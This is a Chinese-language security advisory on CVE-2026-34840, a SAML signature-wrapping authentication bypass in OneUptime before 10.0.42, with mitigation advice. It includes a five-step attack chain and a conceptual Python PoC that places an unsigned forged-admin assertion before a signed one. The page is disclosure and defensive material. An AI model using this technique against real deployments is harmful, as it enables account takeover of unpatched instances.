IPBUF安全漏洞报告
English
CVE-2026-34840 CVSS 8.1 高危

CVE-2026-34840 OneUptime SAML认证绕过漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34840
漏洞类型
认证绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OneUptime

相关标签

认证绕过SAMLOneUptimeXML签名绕过身份验证

漏洞概述

OneUptime是一个开源监控和可观测性平台。在10.0.42版本之前,其SAML SSO实现存在严重的安全漏洞。由于系统的签名验证逻辑与身份提取逻辑存在解耦,`isSignatureValid()`仅验证XML DOM中的第一个`<Signature>`元素,而`getEmail()`总是直接读取第一个断言`assertion[0]`。攻击者可以构造恶意的SAML响应,在合法的签名断言前插入一个包含任意身份的未签名断言。由于系统只校验签名有效性而不校验签名与断言的绑定关系,导致攻击者可以利用未签名的断言实现身份认证绕过,获取系统的访问权限。

技术细节

该漏洞属于典型的SAML断言混淆或签名剥离漏洞。在受影响的OneUptime版本中,SAML响应处理流程存在逻辑缺陷。系统使用`xml-crypto`库进行签名验证,该库在验证时仅定位并验证遇到的第一个`<Signature>`元素。然而,用于提取用户身份的`getEmail()`函数依赖`xml2js`解析结果,默认读取数组中的第一个`<Assertion>`元素(即`assertion[0]`)。攻击者利用这一差异,构造包含两个Assertion的SAML响应:第一个Assertion包含攻击者想要伪造的身份(如管理员账户),且不带签名;第二个Assertion是合法的、经过签名的Assertion。服务端接收后,验证模块检查第二个Assertion的签名并通过,但身份提取模块却读取了第一个未签名Assertion中的身份信息。这种逻辑分离导致签名验证未能保护实际用于认证的身份数据,从而允许攻击者以任意用户身份登录。

攻击链分析

STEP 1
侦察
攻击者确认目标系统使用OneUptime平台,并开启了SAML SSO登录功能。
STEP 2
构造恶意SAML响应
攻击者获取一个合法的SAML响应(使用自己的账户),并解析其结构。然后,攻击者创建一个新的XML响应,将包含管理员身份信息的未签名Assertion插入到合法的签名Assertion之前。
STEP 3
发送认证请求
攻击者向OneUptime的SAML断言消费服务(ACS)发送精心构造的恶意SAML响应。
STEP 4
利用逻辑缺陷
服务端的`isSignatureValid()`函数解析XML,找到并验证了第二个Assertion中的有效签名,验证通过。随后,`getEmail()`函数读取第一个Assertion中的`NameID`,即攻击者伪造的管理员邮箱。
STEP 5
认证绕过与接管
系统误认为攻击者是经过验证的管理员,从而创建会话,授予攻击者对OneUptime平台的完全访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import base64 from defusedxml.lxml import tostring from lxml import etree # Conceptual PoC for CVE-2026-34840 # This demonstrates how to structure a SAML Response with two assertions # where the first (unsigned) contains the attacker's identity. def create_malicious_saml(): # 1. The unsigned assertion containing the attacker's controlled identity unsigned_assertion = """ <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="unsigned-assertion-1"> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">[email protected]</saml:NameID> </saml:Subject> <saml:Conditions NotBefore="2026-04-01T00:00:00Z" NotOnOrAfter="2026-04-02T00:00:00Z"/> </saml:Assertion> """ # 2. The legitimate signed assertion (normally obtained from a valid user flow) # For demonstration, we assume a structure that would pass xml-crypto validation signed_assertion = """ <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="signed-assertion-2"> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <!-- Valid Signature Data Here --> </ds:Signature> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">[email protected]</saml:NameID> </saml:Subject> <saml:Conditions NotBefore="2026-04-01T00:00:00Z" NotOnOrAfter="2026-04-02T00:00:00Z"/> </saml:Assertion> """ # 3. Combine them: Prepend the malicious unsigned assertion before the signed one # The vulnerability is that isSignatureValid() checks the signature in signed_assertion # but getEmail() reads identity from unsigned_assertion malicious_response = f""" <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_id"> {unsigned_assertion} {signed_assertion} </samlp:Response> """ return malicious_response if __name__ == "__main__": # In a real attack, this XML would be Base64 encoded and sent to the SSO ACS endpoint poc_xml = create_malicious_saml() print("Generated Malicious SAML Structure:") print(poc_xml)

影响范围

OneUptime < 10.0.42

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用SAML单点登录功能,转而使用标准密码登录或其他双因素认证机制,直至完成补丁更新。管理员应密切监控日志,查找是否存在异常的SAML登录尝试或权限提升行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表